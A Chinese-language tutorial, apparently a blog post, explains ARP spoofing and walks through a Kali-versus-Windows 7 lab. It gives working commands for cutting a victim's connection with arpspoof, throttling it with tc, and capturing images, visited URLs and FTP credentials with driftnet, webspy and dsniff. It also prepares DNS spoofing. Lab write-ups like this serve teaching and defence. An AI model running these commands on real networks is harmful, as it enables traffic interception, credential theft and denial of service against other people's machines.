Bootstrap

ARP欺骗

一、什么是ARP欺骗

1.ARP协议

ARP(Address Resolution Protocol)是一种网络层协议,地址解析协议,用来将IP地址转化成MAC地址(局域网地址)

注:

Mac地址用于在网络中标识一个唯一的网卡,一台设备如果有一个或者多个网卡,则每个网卡都需要并存在一个唯一的MAC地址

MAC地址是唯一的,但IP地址不是唯一的,可多次分配,更改。

数据包分为:

请求包(广播):本机IP地址、mac地址+目标主机IP地址

应答包(单播):本机IP地址、mac地址+来源主机IP地址、mac地址

2.ARP 欺骗定义

ARP 欺骗(ARP spoofing)是一种网络攻击技术,通过发送伪造好的 ARP 数据包,伪装成网关使被攻击者误以为攻击者是其网关或其它设备,从而达到欺骗目标设备的目的。这样,攻击者就可以截获查看被攻击者发出的数据包,甚至可以修改、篡改数据包中的内容。

arp欺骗最主要的目的是截获数据

ARP欺骗攻击能导致网络连通性问题。

注:

网关并不是指具体的设备,路由器,计算机终端等各种各样的设备都可以是⽹关,⽹关就是数据必须经过的关⼝。正常情况下路由器是⽹关,但是在ARP欺骗的时候,攻击者终端就变成了⽹关,受害者的数据都流向攻击者。

3.ARP欺骗原理

ARP 欺骗主要基于 ARP 协议的工作原理。

ARP 协议是通过广播请求来获取目标设备的 MAC 地址的。当一个设备需要发送数据到另一个设备时,它会发送一个 ARP
请求,询问局域网内的所有设备,是否有指定 IP 地址对应的 MAC 地址。目标设备收到该请求后,会回复一个 ARP 应答,告诉请求者它的 MAC 地址。

ARP 欺骗利用了这种工作原理,攻击者会发送伪造的 ARP 数据包,将自己伪装成网关或其它设备。目标设备收到伪造的 ARP 数据包后,会将攻击者的 MAC地址映射到目标 IP地址上,并将后续数据包发送给攻击者。攻击者就可以截获目标设备发出的数据包,甚至可以修改、篡改数据包中的内容。此时,攻击者已经拦截了目标设备和网关之间的数据包传输,并可能对数据包进行抓包,修改或篡改等攻击。

同时,攻击者可以再发送伪造的ARP请求,将其它设备的IP映射到自己的MAC地址上,这样攻击者就可以中间人攻击,抓包,篡改等等。

也就是说,ARP 欺骗攻击通过伪造 ARP 数据包来破坏网络的正常通信,达到攻击的目的。

Arp 欺骗分为两种,一种是双向欺骗,一种是单向欺骗

 单向欺骗:是指欺骗网关,可以截获从网关从受害主机的通讯内容,但是受害主机到网关的通讯是正常的。分别有三个机器  A(网关) B(server) C(server) 。A要跟C正常通讯。B给A说我才是C,此时A就把原本给C的数据给了B了,A修改了本地的缓存表,但是C跟A的通讯还是正常的。只是A跟C的通讯不正常。

  双向欺骗:同时欺骗网关和受害主机,可以同时截获网关和受害主机双向的通讯内容。 从代码实现上讲,双向欺骗只是在单向欺骗的基础上换一个参数。,A(网关) B(server) C(server),A要跟C正常通讯.B对A说我是C,B对C说我是A,那么这样的情况下A跟C的arp缓存表全部修改了,发送的数据全部发送到B那里去了。

4.ARP欺骗的实现

ARP攻击实现过程:

1.攻击者扫描网络中的 IP 地址和 MAC 地址。

2.攻击者构造伪造的 ARP 数据包,其中包含网络中其他设备的 IP 地址和攻击者自己的 MAC 地址。

3.攻击者发送伪造的 ARP 数据包到网络中。

4.被攻击的设备接收到伪造的 ARP 数据包,并更新其 ARP 缓存表。

5.之后,被攻击的设备将数据包发送到攻击者控制的设备上,而不是真正的目标设备,因此攻击者可以截获网络流量并篡改数据包。

5.ARP欺骗的危害

1.使同一网段内其他用户无法上网

2.可以嗅探到交换式局域网中的所有数据包

3.对信息进行篡改

4.可以控制局域网内任何主机

6.ARP欺骗后可以选择进一步攻击

1.中间人攻击 :通过 ARP 欺骗攻击者可以成为网络中的中间人,收集网络流量并篡改数据包。

2.数据劫持 :攻击者可以通过 ARP 欺骗来获取网络中的敏感信息,如用户名和密码。

3.欺骗DNS :攻击者可以通过 ARP 欺骗来重定向 DNS 请求到攻击者控制的服务器上。

4.后门攻击 :攻击者可以通过 ARP 欺骗来在网络中放置后门,进一步控制被攻击主机。

5.分布式拒绝服务攻击 (DDoS) :攻击者可以通过控制多台设备进行 ARP 欺骗来发起 DDoS 攻击。

二、准备

1.kali虚拟机(攻击机)

2.win7虚拟机(靶机)

3.场景:两台设备需要在同一个局域网下,网关相同

主要参数:
-a    主机 :显示 arp 缓冲区的所有条目;
-H   地址类型 :指定 arp 指令使用的地址类型;
-d    主机 :从 arp 缓冲区中删除指定主机的 arp 条目;
-D   使用指定接口的硬件地址;
-e   以 Linux 的显示风格显示 arp 缓冲区中的条目;
-i    接口 :指定要操作 arp 缓冲区的网络接口;
-s   主机 MAC 地址 :设置指定的主机的 IP 地址与 MAC 地址的静态映射;
-n   以数字方式显示 arp 缓冲区中的条目;
-v   显示详细的 arp 缓冲区条目,包括缓冲区条目的统计信息;
-f   文件 :设置主机的 IP 地址与 MAC 地址的静态映射。

工具:arpspoof

语法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
 
参数
-i interface:指定要用于发送欺骗数据包的网络接口(eth0...)
-c own|host|both:控制是否将欺骗信息发送给目标主机或路由器,或者两者都发送。
(own表示仅欺骗目标主机;host表示仅欺骗路由器;both表示同时欺骗两者)
-t target:指定要欺骗的目标IP地址。
-r:用于在主机和目标之间进行双向ARP欺骗。
host:想要欺骗的主机的IP地址。

三、ARP欺骗模拟实验

ARP欺骗的工具arpspoof(kali本身自带不需要额外下载)

命令的使用可以参考博客:

ARP攻击--(ArpSpoof 欺骗工具)_arp攻击工具-CSDN博客

1.ARP断网

首先尝试用靶机ping百度

能ping通说明网络环境没问题,接下来就可以进行攻击了

可以通过欺骗win7的arp缓存表,导致win7不能上网,这是最常用的arp断网技术

注:

win7不能上网的原因是linux默认不转发数据,即 此时的kali不转发网关和win7之间的数据导致win7无法上网。

arpspoof  -i    eth0   -t 172.16.17.73 172.16.17.254
语法:
arpspoof   -i   网卡   -t    目标IP    网关
 
也可以使用反向欺骗:
arpspoof   -i   网卡   -t    网关    目标IP

接下来就可以攻击了,首先要查看win7的ip地址和网关

再输入arp -a    对照相应的MAC地址

接着查看kali的ip地址

接下来进行欺骗

然后再查看win7虚拟机的mac地址与kali一样说明成功

尝试ping百度

ping不通,说明断网了,接下来ctrl+c关闭

再去执行ping命令

发现又能ping通了

2.限制网速

使被欺骗的主机能够正常访问网站需要开启路由转发功能:

在使用arp欺骗前先开启Kali的IP转发:(开启后靶机不会断网)

echo 1 > /proc/sys/net/ipv4/ip_forward

查看是否开启:
cat /proc/sys/net/ipv4/ip_forward

/proc/sys/net/ipv4/ip_forward 是配置文件,默认内容为0,表示IP转发是关闭的,使用上述命令将该配置文件的内容改写为1,表示开启IP转发。

首先查看是否开启

发现未开启后执行开启命令

再次查询发现回显1

已开启

关闭路由转发功能

echo 0 > /proc/sys/net/ipv4/ip_forward

开启IP转发后 靶机访问网络需要经过攻击机的网卡,

于是攻击机限制自己网卡的速度或者转发的速度也就可以限制靶机。

使用工具tc限制网速(tc是通过限制自己网卡的速度来限制对方的)

限制网速200ms延时
sudo tc qdisc add dev eth0 root netem delay 200ms
 
取消限制网速200ms延时
sudo tc qdisc del dev eth0 root netem delay 200ms
 
参数:
qdisc:排队规则
add:添加
dev:设备(网卡)
root:root用户身份
netem delay:设置网络延时时间

这里我已经是root用户了,不用加sudo

限制网速200ms延时,使用arpspoof发现靶机被限速

证明攻击成功

3.嗅探流量

嗅探流量:

流量中包含着敏感数据,攻击者在不入侵你计算机的情况下获得敏感数据,这个过程叫流量嗅探。

也是先开启IP转发

开启IP转发后 流量会经过kali的主机而后再去到目标,

这时开启arpspoof进行欺骗后目标就不会断网,此时kali可拦截相关受害者主机相关信息,开启wireshark拦截受害者ping数据。

arpspoof -i eth0 -t 172.16.17.139 172.16.17.254

过滤来自靶机的流量:
ip.addr==172.16.17.139

4.嗅探图片

使用driftnet来嗅探图片,它可以展示流经网卡的图片,严格来说是把流经网卡的图片数据还原为图片,即win7上网看到的图片。

安装dirftnet

apt-get install driftnet

使用driftnet -i eth0 来窃取受害者网络中传输的图片,图片以小窗口的形式显示。

  安装: sudo apt install driftnet
  
  driftnet -help --获取使用文档
  语法: driftnet   [options]   [filter code]
 
  主要参数:
  -b 捕获到新的图片时发出嘟嘟声
  -i  interface     选择监听接口
  -f  file   读取一个指定pcap数据包中的图片
  -p  不让所监听的接口使用混杂模式
  -a  后台模式:将捕获的图片保存到目录中(不会显示在屏幕上)
  -m number 指定保存图片数的数目
  -d directory  指定保存图片的路径
  -x prefix  指定保存图片的前缀名

实时抓取图片

第一步,开启数据转发

echo 1 > /proc/sys/net/ipv4/ip_forward

第二步,arp欺骗

arpspoof -i eth0 -t 192.168.158.56 198.168.158.52

第三步,driftnet实时抓取图片

driftnet -i eth0   #eth0是要抓的网卡

太难用了,什么都没抓到

保存抓取下来的图片

操作同上,改变一下driftnet的命令

driftnet -i eth0 -a -d /tmp/win7

成功

5.嗅探访问的URL

webspy:使用webspy嗅探受害者访问了哪些网页。

操作同嗅探图片 ,然后使用webspy来抓,但是只能抓取一次。

6.dsniff 嗅探账密

当网络中出现了填写账号密码的数据时,dsniff工具就开始截获数据,-m参数会解析网络协议。
开启路由转发功能,使用arpspoof开启欺骗,然后使用dsniff来抓。
注意:dsniff不会实时显示结果,当在win7中输入quit的时候dsniff才会显示结果

dsniff -i eth0 -m

可以发现,当用户登录时成功获取到了账号和密码。

ftp>open 115.146.60.252
//尝试连接到IP地址为115.146.60.252的FTP服务器。
//这是FTP客户端用来初始化与服务器通信的标准命令。连接成功就能够登录到该服务器,并进行文件的上传、下载等操作

7.dns欺骗

dnsspoof启用DNS欺骗,如果是请求解析某个域名,dnsspoof会让该域名重新指向另一个IP地址(黑客所控制的主机),如果dnsspoof嗅探到局域网内有DNS请求数据包,它会分析其内容,并用伪造的DNS响应包来回复请求者。
由于dns查询是客户机向网关发起请求,所以如果要在局域网中实现DNS欺骗,前提仍然是arp欺骗。

arpspoof -i eth0 -t 172.16.17.139 172.16.17.254  //ip 网关

;